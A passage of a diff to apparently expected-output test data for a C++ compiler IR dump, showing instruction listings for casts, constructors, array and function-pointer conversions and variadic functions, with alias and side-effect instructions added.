+# 816| r0_79(glval) = FunctionAddress[operator=] : +# 816| r0_80(glval) = VariableAddress[b] : +# 816| r0_81(glval) = ConvertToDerived[Middle : Base] : r0_80 +# 816| r0_82(glval) = Convert : r0_81 +# 816| r0_83(Middle &) = Call : r0_79, this:r0_78, r0_82 +# 816| m0_84(unknown) = ^CallSideEffect : m0_57 +# 816| m0_85(unknown) = Chi : m0_57, m0_84 +# 817| r0_86(glval) = VariableAddress[m] : +# 817| r0_87(glval) = FunctionAddress[operator=] : +# 817| r0_88(glval) = VariableAddress[b] : +# 817| r0_89(glval) = ConvertToDerived[Middle : Base] : r0_88 +# 817| r0_90(glval) = Convert : r0_89 +# 817| r0_91(Middle &) = Call : r0_87, this:r0_86, r0_90 +# 817| m0_92(unknown) = ^CallSideEffect : m0_85 +# 817| m0_93(unknown) = Chi : m0_85, m0_92 +# 818| r0_94(glval) = VariableAddress[pb] : +# 818| r0_95(Base *) = Load : r0_94, m0_77 +# 818| r0_96(Middle *) = ConvertToDerived[Middle : Base] : r0_95 +# 818| r0_97(glval) = VariableAddress[pm] : +# 818| m0_98(Middle *) = Store : r0_97, r0_96 +# 819| r0_99(glval) = VariableAddress[pb] : +# 819| r0_100(Base *) = Load : r0_99, m0_77 +# 819| r0_101(Middle *) = ConvertToDerived[Middle : Base] : r0_100 +# 819| r0_102(glval) = VariableAddress[pm] : +# 819| m0_103(Middle *) = Store : r0_102, r0_101 +# 820| r0_104(glval) = VariableAddress[pb] : +# 820| r0_105(Base *) = Load : r0_104, m0_77 +# 820| r0_106(Middle *) = Convert : r0_105 +# 820| r0_107(glval) = VariableAddress[pm] : +# 820| m0_108(Middle *) = Store : r0_107, r0_106 +# 822| r0_109(glval) = VariableAddress[b] : +# 822| r0_110(glval) = FunctionAddress[operator=] : +# 822| r0_111(glval) = VariableAddress[d] : +# 822| r0_112(glval) = ConvertToBase[Derived : Middle] : r0_111 +# 822| r0_113(glval) = ConvertToBase[Middle : Base] : r0_112 +# 822| r0_114(Base &) = Call : r0_110, this:r0_109, r0_113 +# 822| m0_115(unknown) = ^CallSideEffect : m0_93 +# 822| m0_116(unknown) = Chi : m0_93, m0_115 +# 823| r0_117(glval) = VariableAddress[b] : +# 823| r0_118(glval) = FunctionAddress[operator=] : +# 823| r0_119(glval) = FunctionAddress[Base] : +# 823| r0_120(glval) = VariableAddress[d] : +# 823| r0_121(glval) = ConvertToBase[Derived : Middle] : r0_120 +# 823| r0_122(glval) = ConvertToBase[Middle : Base] : r0_121 +# 823| v0_123(void) = Call : r0_119, r0_122 +# 823| m0_124(unknown) = ^CallSideEffect : m0_116 +# 823| m0_125(unknown) = Chi : m0_116, m0_124 +# 823| r0_126(Base) = Convert : v0_123 +# 823| r0_127(Base &) = Call : r0_118, this:r0_117, r0_126 +# 823| m0_128(unknown) = ^CallSideEffect : m0_125 +# 823| m0_129(unknown) = Chi : m0_125, m0_128 +# 824| r0_130(glval) = VariableAddress[b] : +# 824| r0_131(glval) = FunctionAddress[operator=] : +# 824| r0_132(glval) = FunctionAddress[Base] : +# 824| r0_133(glval) = VariableAddress[d] : +# 824| r0_134(glval) = ConvertToBase[Derived : Middle] : r0_133 +# 824| r0_135(glval) = ConvertToBase[Middle : Base] : r0_134 +# 824| v0_136(void) = Call : r0_132, r0_135 +# 824| m0_137(unknown) = ^CallSideEffect : m0_129 +# 824| m0_138(unknown) = Chi : m0_129, m0_137 +# 824| r0_139(Base) = Convert : v0_136 +# 824| r0_140(Base &) = Call : r0_131, this:r0_130, r0_139 +# 824| m0_141(unknown) = ^CallSideEffect : m0_138 +# 824| m0_142(unknown) = Chi : m0_138, m0_141 +# 825| r0_143(glval) = VariableAddress[pd] : +# 825| r0_144(Derived *) = Load : r0_143, m0_26 +# 825| r0_145(Middle *) = ConvertToBase[Derived : Middle] : r0_144 +# 825| r0_146(Base *) = ConvertToBase[Middle : Base] : r0_145 +# 825| r0_147(glval) = VariableAddress[pb] : +# 825| m0_148(Base *) = Store : r0_147, r0_146 +# 826| r0_149(glval) = VariableAddress[pd] : +# 826| r0_150(Derived *) = Load : r0_149, m0_26 +# 826| r0_151(Middle *) = ConvertToBase[Derived : Middle] : r0_150 +# 826| r0_152(Base *) = ConvertToBase[Middle : Base] : r0_151 +# 826| r0_153(glval) = VariableAddress[pb] : +# 826| m0_154(Base *) = Store : r0_153, r0_152 +# 827| r0_155(glval) = VariableAddress[pd] : +# 827| r0_156(Derived *) = Load : r0_155, m0_26 +# 827| r0_157(Middle *) = ConvertToBase[Derived : Middle] : r0_156 +# 827| r0_158(Base *) = ConvertToBase[Middle : Base] : r0_157 +# 827| r0_159(glval) = VariableAddress[pb] : +# 827| m0_160(Base *) = Store : r0_159, r0_158 +# 828| r0_161(glval) = VariableAddress[pd] : +# 828| r0_162(Derived *) = Load : r0_161, m0_26 +# 828| r0_163(Base *) = Convert : r0_162 +# 828| r0_164(glval) = VariableAddress[pb] : +# 828| m0_165(Base *) = Store : r0_164, r0_163 +# 830| r0_166(glval) = VariableAddress[d] : +# 830| r0_167(glval) = FunctionAddress[operator=] : +# 830| r0_168(glval) = VariableAddress[b] : +# 830| r0_169(glval) = ConvertToDerived[Middle : Base] : r0_168 +# 830| r0_170(glval) = ConvertToDerived[Derived : Middle] : r0_169 +# 830| r0_171(glval) = Convert : r0_170 +# 830| r0_172(Derived &) = Call : r0_167, this:r0_166, r0_171 +# 830| m0_173(unknown) = ^CallSideEffect : m0_142 +# 830| m0_174(unknown) = Chi : m0_142, m0_173 +# 831| r0_175(glval) = VariableAddress[d] : +# 831| r0_176(glval) = FunctionAddress[operator=] : +# 831| r0_177(glval) = VariableAddress[b] : +# 831| r0_178(glval) = ConvertToDerived[Middle : Base] : r0_177 +# 831| r0_179(glval) = ConvertToDerived[Derived : Middle] : r0_178 +# 831| r0_180(glval) = Convert : r0_179 +# 831| r0_181(Derived &) = Call : r0_176, this:r0_175, r0_180 +# 831| m0_182(unknown) = ^CallSideEffect : m0_174 +# 831| m0_183(unknown) = Chi : m0_174, m0_182 +# 832| r0_184(glval) = VariableAddress[pb] : +# 832| r0_185(Base *) = Load : r0_184, m0_165 +# 832| r0_186(Middle *) = ConvertToDerived[Middle : Base] : r0_185 +# 832| r0_187(Derived *) = ConvertToDerived[Derived : Middle] : r0_186 +# 832| r0_188(glval) = VariableAddress[pd] : +# 832| m0_189(Derived *) = Store : r0_188, r0_187 +# 833| r0_190(glval) = VariableAddress[pb] : +# 833| r0_191(Base *) = Load : r0_190, m0_165 +# 833| r0_192(Middle *) = ConvertToDerived[Middle : Base] : r0_191 +# 833| r0_193(Derived *) = ConvertToDerived[Derived : Middle] : r0_192 +# 833| r0_194(glval) = VariableAddress[pd] : +# 833| m0_195(Derived *) = Store : r0_194, r0_193 +# 834| r0_196(glval) = VariableAddress[pb] : +# 834| r0_197(Base *) = Load : r0_196, m0_165 +# 834| r0_198(Derived *) = Convert : r0_197 +# 834| r0_199(glval) = VariableAddress[pd] : +# 834| m0_200(Derived *) = Store : r0_199, r0_198 +# 836| r0_201(glval) = VariableAddress[pmv] : +# 836| r0_202(MiddleVB1 *) = Constant[0] : +# 836| m0_203(MiddleVB1 *) = Store : r0_201, r0_202 +# 837| r0_204(glval) = VariableAddress[pdv] : +# 837| r0_205(DerivedVB *) = Constant[0] : +# 837| m0_206(DerivedVB *) = Store : r0_204, r0_205 +# 838| r0_207(glval) = VariableAddress[pmv] : +# 838| r0_208(MiddleVB1 *) = Load : r0_207, m0_203 +# 838| r0_209(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_208 +# 838| r0_210(glval) = VariableAddress[pb] : +# 838| m0_211(Base *) = Store : r0_210, r0_209 +# 839| r0_212(glval) = VariableAddress[pdv] : +# 839| r0_213(DerivedVB *) = Load : r0_212, m0_206 +# 839| r0_214(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_213 +# 839| r0_215(glval) = VariableAddress[pb] : +# 839| m0_216(Base *) = Store : r0_215, r0_214 +# 840| v0_217(void) = NoOp : +# 799| v0_218(void) = ReturnVoid : +# 799| v0_219(void) = UnmodeledUse : mu* +# 799| v0_220(void) = ExitFunction : # 842| PolymorphicBase::PolymorphicBase() -> void # 842| Block 0 # 842| v0_0(void) = EnterFunction : -# 842| mu0_1(unknown) = UnmodeledDefinition : -# 842| r0_2(glval) = InitializeThis : -# 842| v0_3(void) = NoOp : -# 842| v0_4(void) = ReturnVoid : -# 842| v0_5(void) = UnmodeledUse : mu* -# 842| v0_6(void) = ExitFunction : +# 842| m0_1(unknown) = AliasedDefinition : +# 842| mu0_2(unknown) = UnmodeledDefinition : +# 842| r0_3(glval) = InitializeThis : +# 842| v0_4(void) = NoOp : +# 842| v0_5(void) = ReturnVoid : +# 842| v0_6(void) = UnmodeledUse : mu* +# 842| v0_7(void) = ExitFunction : # 846| PolymorphicDerived::PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -# 846| r0_3(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_4(glval) = FunctionAddress[PolymorphicBase] : -# 846| v0_5(void) = Call : r0_4, this:r0_3 -# 846| v0_6(void) = NoOp : -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| m0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_5(glval) = FunctionAddress[PolymorphicBase] : +# 846| v0_6(void) = Call : r0_5, this:r0_4 +# 846| m0_7(unknown) = ^CallSideEffect : m0_1 +# 846| m0_8(unknown) = Chi : m0_1, m0_7 +# 846| v0_9(void) = NoOp : +# 846| v0_10(void) = ReturnVoid : +# 846| v0_11(void) = UnmodeledUse : mu* +# 846| v0_12(void) = ExitFunction : # 846| PolymorphicDerived::~PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -#-----| v0_3(void) = NoOp : -# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_5(glval) = FunctionAddress[~PolymorphicBase] : -# 846| v0_6(void) = Call : r0_5, this:r0_4 -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| m0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +#-----| v0_4(void) = NoOp : +# 846| r0_5(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_6(glval) = FunctionAddress[~PolymorphicBase] : +# 846| v0_7(void) = Call : r0_6, this:r0_5 +# 846| m0_8(unknown) = ^CallSideEffect : m0_1 +# 846| m0_9(unknown) = Chi : m0_1, m0_8 +# 846| v0_10(void) = ReturnVoid : +# 846| v0_11(void) = UnmodeledUse : mu* +# 846| v0_12(void) = ExitFunction : # 849| DynamicCast() -> void # 849| Block 0 # 849| v0_0(void) = EnterFunction : -# 849| mu0_1(unknown) = UnmodeledDefinition : -# 850| r0_2(glval) = VariableAddress[b] : -#-----| r0_3(glval) = FunctionAddress[PolymorphicBase] : -#-----| v0_4(void) = Call : r0_3, this:r0_2 -# 851| r0_5(glval) = VariableAddress[d] : -# 851| r0_6(glval) = FunctionAddress[PolymorphicDerived] : -# 851| v0_7(void) = Call : r0_6, this:r0_5 -# 853| r0_8(glval) = VariableAddress[pb] : -# 853| r0_9(glval) = VariableAddress[b] : -# 853| m0_10(PolymorphicBase *) = Store : r0_8, r0_9 -# 854| r0_11(glval) = VariableAddress[pd] : -# 854| r0_12(glval) = VariableAddress[d] : -# 854| m0_13(PolymorphicDerived *) = Store : r0_11, r0_12 -# 857| r0_14(glval) = VariableAddress[pd] : -# 857| r0_15(PolymorphicDerived *) = Load : r0_14, m0_13 -# 857| r0_16(PolymorphicBase *) = CheckedConvertOrNull : r0_15 -# 857| r0_17(glval) = VariableAddress[pb] : -# 857| m0_18(PolymorphicBase *) = Store : r0_17, r0_16 -# 858| r0_19(glval) = VariableAddress[rb] : -# 858| r0_20(glval) = VariableAddress[d] : -# 858| r0_21(glval) = CheckedConvertOrThrow : r0_20 -# 858| m0_22(PolymorphicBase &) = Store : r0_19, r0_21 -# 860| r0_23(glval) = VariableAddress[pb] : -# 860| r0_24(PolymorphicBase *) = Load : r0_23, m0_18 -# 860| r0_25(PolymorphicDerived *) = CheckedConvertOrNull : r0_24 -# 860| r0_26(glval) = VariableAddress[pd] : -# 860| m0_27(PolymorphicDerived *) = Store : r0_26, r0_25 -# 861| r0_28(glval) = VariableAddress[rd] : -# 861| r0_29(glval) = VariableAddress[b] : -# 861| r0_30(glval) = CheckedConvertOrThrow : r0_29 -# 861| m0_31(PolymorphicDerived &) = Store : r0_28, r0_30 -# 863| r0_32(glval) = VariableAddress[pv] : -# 863| r0_33(glval) = VariableAddress[pb] : -# 863| r0_34(PolymorphicBase *) = Load : r0_33, m0_18 -# 863| r0_35(void *) = DynamicCastToVoid : r0_34 -# 863| m0_36(void *) = Store : r0_32, r0_35 -# 864| r0_37(glval) = VariableAddress[pcv] : -# 864| r0_38(glval) = VariableAddress[pd] : -# 864| r0_39(PolymorphicDerived *) = Load : r0_38, m0_27 -# 864| r0_40(void *) = DynamicCastToVoid : r0_39 -# 864| m0_41(void *) = Store : r0_37, r0_40 -# 865| v0_42(void) = NoOp : -# 849| v0_43(void) = ReturnVoid : -# 849| v0_44(void) = UnmodeledUse : mu* -# 849| v0_45(void) = ExitFunction : +# 849| m0_1(unknown) = AliasedDefinition : +# 849| mu0_2(unknown) = UnmodeledDefinition : +# 850| r0_3(glval) = VariableAddress[b] : +#-----| r0_4(glval) = FunctionAddress[PolymorphicBase] : +#-----| v0_5(void) = Call : r0_4, this:r0_3 +#-----| m0_6(unknown) = ^CallSideEffect : m0_1 +#-----| m0_7(unknown) = Chi : m0_1, m0_6 +# 851| r0_8(glval) = VariableAddress[d] : +# 851| r0_9(glval) = FunctionAddress[PolymorphicDerived] : +# 851| v0_10(void) = Call : r0_9, this:r0_8 +# 851| m0_11(unknown) = ^CallSideEffect : m0_7 +# 851| m0_12(unknown) = Chi : m0_7, m0_11 +# 853| r0_13(glval) = VariableAddress[pb] : +# 853| r0_14(glval) = VariableAddress[b] : +# 853| m0_15(PolymorphicBase *) = Store : r0_13, r0_14 +# 854| r0_16(glval) = VariableAddress[pd] : +# 854| r0_17(glval) = VariableAddress[d] : +# 854| m0_18(PolymorphicDerived *) = Store : r0_16, r0_17 +# 857| r0_19(glval) = VariableAddress[pd] : +# 857| r0_20(PolymorphicDerived *) = Load : r0_19, m0_18 +# 857| r0_21(PolymorphicBase *) = CheckedConvertOrNull : r0_20 +# 857| r0_22(glval) = VariableAddress[pb] : +# 857| m0_23(PolymorphicBase *) = Store : r0_22, r0_21 +# 858| r0_24(glval) = VariableAddress[rb] : +# 858| r0_25(glval) = VariableAddress[d] : +# 858| r0_26(glval) = CheckedConvertOrThrow : r0_25 +# 858| m0_27(PolymorphicBase &) = Store : r0_24, r0_26 +# 860| r0_28(glval) = VariableAddress[pb] : +# 860| r0_29(PolymorphicBase *) = Load : r0_28, m0_23 +# 860| r0_30(PolymorphicDerived *) = CheckedConvertOrNull : r0_29 +# 860| r0_31(glval) = VariableAddress[pd] : +# 860| m0_32(PolymorphicDerived *) = Store : r0_31, r0_30 +# 861| r0_33(glval) = VariableAddress[rd] : +# 861| r0_34(glval) = VariableAddress[b] : +# 861| r0_35(glval) = CheckedConvertOrThrow : r0_34 +# 861| m0_36(PolymorphicDerived &) = Store : r0_33, r0_35 +# 863| r0_37(glval) = VariableAddress[pv] : +# 863| r0_38(glval) = VariableAddress[pb] : +# 863| r0_39(PolymorphicBase *) = Load : r0_38, m0_23 +# 863| r0_40(void *) = DynamicCastToVoid : r0_39 +# 863| m0_41(void *) = Store : r0_37, r0_40 +# 864| r0_42(glval) = VariableAddress[pcv] : +# 864| r0_43(glval) = VariableAddress[pd] : +# 864| r0_44(PolymorphicDerived *) = Load : r0_43, m0_32 +# 864| r0_45(void *) = DynamicCastToVoid : r0_44 +# 864| m0_46(void *) = Store : r0_42, r0_45 +# 865| v0_47(void) = NoOp : +# 849| v0_48(void) = ReturnVoid : +# 849| v0_49(void) = UnmodeledUse : mu* +# 849| v0_50(void) = ExitFunction : # 867| String::String() -> void # 867| Block 0 # 867| v0_0(void) = EnterFunction : -# 867| mu0_1(unknown) = UnmodeledDefinition : -# 867| r0_2(glval) = InitializeThis : -# 868| r0_3(glval) = FunctionAddress[String] : -# 868| r0_4(glval) = StringConstant[""] : -# 868| r0_5(char *) = Convert : r0_4 -# 868| v0_6(void) = Call : r0_3, this:r0_2, r0_5 -# 869| v0_7(void) = NoOp : -# 867| v0_8(void) = ReturnVoid : -# 867| v0_9(void) = UnmodeledUse : mu* -# 867| v0_10(void) = ExitFunction : +# 867| m0_1(unknown) = AliasedDefinition : +# 867| mu0_2(unknown) = UnmodeledDefinition : +# 867| r0_3(glval) = InitializeThis : +# 868| r0_4(glval) = FunctionAddress[String] : +# 868| r0_5(glval) = StringConstant[""] : +# 868| r0_6(char *) = Convert : r0_5 +# 868| v0_7(void) = Call : r0_4, this:r0_3, r0_6 +# 868| m0_8(unknown) = ^CallSideEffect : m0_1 +# 868| m0_9(unknown) = Chi : m0_1, m0_8 +# 869| v0_10(void) = NoOp : +# 867| v0_11(void) = ReturnVoid : +# 867| v0_12(void) = UnmodeledUse : mu* +# 867| v0_13(void) = ExitFunction : # 871| ArrayConversions() -> void # 871| Block 0 # 871| v0_0(void) = EnterFunction : -# 871| mu0_1(unknown) = UnmodeledDefinition : -# 872| r0_2(glval) = VariableAddress[a] : -# 872| m0_3(char[5]) = Uninitialized : r0_2 -# 873| r0_4(glval) = VariableAddress[p] : -# 873| r0_5(glval) = VariableAddress[a] : -# 873| r0_6(char *) = Convert : r0_5 +# 871| m0_1(unknown) = AliasedDefinition : +# 871| mu0_2(unknown) = UnmodeledDefinition : +# 872| r0_3(glval) = VariableAddress[a] : +# 872| m0_4(char[5]) = Uninitialized[a] : r0_3 +# 873| r0_5(glval) = VariableAddress[p] : +# 873| r0_6(glval) = VariableAddress[a] : # 873| r0_7(char *) = Convert : r0_6 -# 873| m0_8(char *) = Store : r0_4, r0_7 -# 874| r0_9(glval) = StringConstant["test"] : -# 874| r0_10(char *) = Convert : r0_9 -# 874| r0_11(glval) = VariableAddress[p] : -# 874| m0_12(char *) = Store : r0_11, r0_10 -# 875| r0_13(glval) = VariableAddress[a] : -# 875| r0_14(char *) = Convert : r0_13 -# 875| r0_15(int) = Constant[0] : -# 875| r0_16(char *) = PointerAdd[1] : r0_14, r0_15 -# 875| r0_17(char *) = Convert : r0_16 -# 875| r0_18(glval) = VariableAddress[p] : -# 875| m0_19(char *) = Store : r0_18, r0_17 -# 876| r0_20(glval) = StringConstant["test"] : -# 876| r0_21(char *) = Convert : r0_20 -# 876| r0_22(int) = Constant[0] : -# 876| r0_23(char *) = PointerAdd[1] : r0_21, r0_22 -# 876| r0_24(glval) = VariableAddress[p] : -# 876| m0_25(char *) = Store : r0_24, r0_23 -# 877| r0_26(glval) = VariableAddress[ra] : -# 877| r0_27(glval) = VariableAddress[a] : -# 877| m0_28(char(&)[5]) = Store : r0_26, r0_27 -# 878| r0_29(glval) = VariableAddress[rs] : -# 878| r0_30(glval) = StringConstant["test"] : -# 878| m0_31(char(&)[5]) = Store : r0_29, r0_30 -# 879| r0_32(glval) = VariableAddress[pa] : -# 879| r0_33(glval) = VariableAddress[a] : -# 879| r0_34(char(*)[5]) = Convert : r0_33 -# 879| m0_35(char(*)[5]) = Store : r0_32, r0_34 -# 880| r0_36(glval) = StringConstant["test"] : -# 880| r0_37(glval) = VariableAddress[pa] : -# 880| m0_38(char(*)[5]) = Store : r0_37, r0_36 -# 881| v0_39(void) = NoOp : -# 871| v0_40(void) = ReturnVoid : -# 871| v0_41(void) = UnmodeledUse : mu* -# 871| v0_42(void) = ExitFunction : +# 873| r0_8(char *) = Convert : r0_7 +# 873| m0_9(char *) = Store : r0_5, r0_8 +# 874| r0_10(glval) = StringConstant["test"] : +# 874| r0_11(char *) = Convert : r0_10 +# 874| r0_12(glval) = VariableAddress[p] : +# 874| m0_13(char *) = Store : r0_12, r0_11 +# 875| r0_14(glval) = VariableAddress[a] : +# 875| r0_15(char *) = Convert : r0_14 +# 875| r0_16(int) = Constant[0] : +# 875| r0_17(char *) = PointerAdd[1] : r0_15, r0_16 +# 875| r0_18(char *) = Convert : r0_17 +# 875| r0_19(glval) = VariableAddress[p] : +# 875| m0_20(char *) = Store : r0_19, r0_18 +# 876| r0_21(glval) = StringConstant["test"] : +# 876| r0_22(char *) = Convert : r0_21 +# 876| r0_23(int) = Constant[0] : +# 876| r0_24(char *) = PointerAdd[1] : r0_22, r0_23 +# 876| r0_25(glval) = VariableAddress[p] : +# 876| m0_26(char *) = Store : r0_25, r0_24 +# 877| r0_27(glval) = VariableAddress[ra] : +# 877| r0_28(glval) = VariableAddress[a] : +# 877| m0_29(char(&)[5]) = Store : r0_27, r0_28 +# 878| r0_30(glval) = VariableAddress[rs] : +# 878| r0_31(glval) = StringConstant["test"] : +# 878| m0_32(char(&)[5]) = Store : r0_30, r0_31 +# 879| r0_33(glval) = VariableAddress[pa] : +# 879| r0_34(glval) = VariableAddress[a] : +# 879| r0_35(char(*)[5]) = Convert : r0_34 +# 879| m0_36(char(*)[5]) = Store : r0_33, r0_35 +# 880| r0_37(glval) = StringConstant["test"] : +# 880| r0_38(glval) = VariableAddress[pa] : +# 880| m0_39(char(*)[5]) = Store : r0_38, r0_37 +# 881| v0_40(void) = NoOp : +# 871| v0_41(void) = ReturnVoid : +# 871| v0_42(void) = UnmodeledUse : mu* +# 871| v0_43(void) = ExitFunction : # 883| FuncPtrConversions(..(*)(..), void *) -> void # 883| Block 0 # 883| v0_0(void) = EnterFunction : -# 883| mu0_1(unknown) = UnmodeledDefinition : -# 883| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 883| m0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 883| r0_4(glval) = VariableAddress[p] : -# 883| m0_5(void *) = InitializeParameter[p] : r0_4 -# 884| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 884| r0_7(..(*)(..)) = Load : r0_6, m0_3 -# 884| r0_8(void *) = Convert : r0_7 -# 884| r0_9(glval) = VariableAddress[p] : -# 884| m0_10(void *) = Store : r0_9, r0_8 -# 885| r0_11(glval) = VariableAddress[p] : -# 885| r0_12(void *) = Load : r0_11, m0_10 -# 885| r0_13(..(*)(..)) = Convert : r0_12 -# 885| r0_14(glval<..(*)(..)>) = VariableAddress[pfn] : -# 885| m0_15(..(*)(..)) = Store : r0_14, r0_13 -# 886| v0_16(void) = NoOp : -# 883| v0_17(void) = ReturnVoid : -# 883| v0_18(void) = UnmodeledUse : mu* -# 883| v0_19(void) = ExitFunction : +# 883| m0_1(unknown) = AliasedDefinition : +# 883| mu0_2(unknown) = UnmodeledDefinition : +# 883| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 883| m0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 883| r0_5(glval) = VariableAddress[p] : +# 883| m0_6(void *) = InitializeParameter[p] : r0_5 +# 884| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 884| r0_8(..(*)(..)) = Load : r0_7, m0_4 +# 884| r0_9(void *) = Convert : r0_8 +# 884| r0_10(glval) = VariableAddress[p] : +# 884| m0_11(void *) = Store : r0_10, r0_9 +# 885| r0_12(glval) = VariableAddress[p] : +# 885| r0_13(void *) = Load : r0_12, m0_11 +# 885| r0_14(..(*)(..)) = Convert : r0_13 +# 885| r0_15(glval<..(*)(..)>) = VariableAddress[pfn] : +# 885| m0_16(..(*)(..)) = Store : r0_15, r0_14 +# 886| v0_17(void) = NoOp : +# 883| v0_18(void) = ReturnVoid : +# 883| v0_19(void) = UnmodeledUse : mu* +# 883| v0_20(void) = ExitFunction : # 888| VarArgUsage(int) -> void # 888| Block 0 # 888| v0_0(void) = EnterFunction : -# 888| mu0_1(unknown) = UnmodeledDefinition : -# 888| r0_2(glval) = VariableAddress[x] : -# 888| mu0_3(int) = InitializeParameter[x] : r0_2 -# 889| r0_4(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 889| mu0_5(__va_list_tag[1]) = Uninitialized : r0_4 -# 891| r0_6(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 891| r0_7(__va_list_tag *) = Convert : r0_6 -# 891| r0_8(glval) = VariableAddress[x] : -# 891| v0_9(void) = VarArgsStart : r0_7, r0_8 -# 892| r0_10(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 892| mu0_11(__va_list_tag[1]) = Uninitialized : r0_10 -# 893| r0_12(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 893| r0_13(__va_list_tag *) = Convert : r0_12 -# 893| r0_14(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 893| r0_15(__va_list_tag *) = Convert : r0_14 -# 893| v0_16(void) = VarArgsStart : r0_13, r0_15 -# 894| r0_17(glval) = VariableAddress[d] : -# 894| r0_18(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 894| r0_19(__va_list_tag *) = Convert : r0_18 -# 894| r0_20(glval) = VarArg : r0_19 -# 894| r0_21(double) = Load : r0_20, mu0_1 -# 894| m0_22(double) = Store : r0_17, r0_21 -# 895| r0_23(glval) = VariableAddress[f] : -# 895| r0_24(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 895| r0_25(__va_list_tag *) = Convert : r0_24 -# 895| r0_26(glval) = VarArg : r0_25 -# 895| r0_27(double) = Load : r0_26, mu0_1 -# 895| r0_28(float) = Convert : r0_27 -# 895| m0_29(float) = Store : r0_23, r0_28 -# 896| r0_30(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 896| r0_31(__va_list_tag *) = Convert : r0_30 -# 896| v0_32(void) = VarArgsEnd : r0_31 -# 897| r0_33(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 897| r0_34(__va_list_tag *) = Convert : r0_33 -# 897| v0_35(void) = VarArgsEnd : r0_34 -# 898| v0_36(void) = NoOp : -# 888| v0_37(void) = ReturnVoid : -# 888| v0_38(void) = UnmodeledUse : mu* -# 888| v0_39(void) = ExitFunction : +# 888| m0_1(unknown) = AliasedDefinition : +# 888| mu0_2(unknown) = UnmodeledDefinition : +# 888| r0_3(glval) = VariableAddress[x] : +# 888| m0_4(int) = InitializeParameter[x] : r0_3 +# 888| m0_5(unknown) = Chi : m0_1, m0_4 +# 889| r0_6(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 889| m0_7(__va_list_tag[1]) = Uninitialized[args] : r0_6 +# 889| m0_8(unknown) = Chi : m0_5, m0_7 +# 891| r0_9(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 891| r0_10(__va_list_tag *) = Convert : r0_9 +# 891| r0_11(glval) = VariableAddress[x] : +# 891| v0_12(void) = VarArgsStart : r0_10, r0_11 +# 892| r0_13(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 892| m0_14(__va_list_tag[1]) = Uninitialized[args2] : r0_13 +# 892| m0_15(unknown) = Chi : m0_8, m0_14 +# 893| r0_16(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 893| r0_17(__va_list_tag *) = Convert : r0_16 +# 893| r0_18(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 893| r0_19(__va_list_tag *) = Convert : r0_18 +# 893| v0_20(void) = VarArgsStart : r0_17, r0_19 +# 894| r0_21(glval) = VariableAddress[d] : +# 894| r0_22(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 894| r0_23(__va_list_tag *) = Convert : r0_22 +# 894| r0_24(glval) = VarArg : r0_23 +# 894| r0_25(double) = Load : r0_24, m0_15 +# 894| m0_26(double) = Store : r0_21, r0_25 +# 895| r0_27(glval) = VariableAddress[f] : +# 895| r0_28(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 895| r0_29(__va_list_tag *) = Convert : r0_28 +# 895| r0_30(glval) = VarArg : r0_29 +# 895| r0_31(double) = Load : r0_30, m0_15 +# 895| r0_32(float) = Convert : r0_31 +# 895| m0_33(float) = Store : r0_27, r0_32 +# 896| r0_34(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 896| r0_35(__va_list_tag *) = Convert : r0_34 +# 896| v0_36(void) = VarArgsEnd : r0_35 +# 897| r0_37(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 897| r0_38(__va_list_tag *) = Convert : r0_37 +# 897| v0_39(void) = VarArgsEnd : r0_38 +# 898| v0_40(void) = NoOp : +# 888| v0_41(void) = ReturnVoid : +# 888| v0_42(void) = UnmodeledUse : mu* +# 888| v0_43(void) = ExitFunction : # 900| CastToVoid(int) -> void # 900| Block 0 # 900| v0_0(void) = EnterFunction : -# 900| mu0_1(unknown) = UnmodeledDefinition : -# 900| r0_2(glval) = VariableAddress[x] : -# 900| mu0_3(int) = InitializeParameter[x] : r0_2 -# 901| r0_4(glval) = VariableAddress[x] : -# 901| v0_5(void) = Convert : r0_4 -# 902| v0_6(void) = NoOp : -# 900| v0_7(void) = ReturnVoid : -# 900| v0_8(void) = UnmodeledUse : mu* -# 900| v0_9(void) = ExitFunction : +# 900| 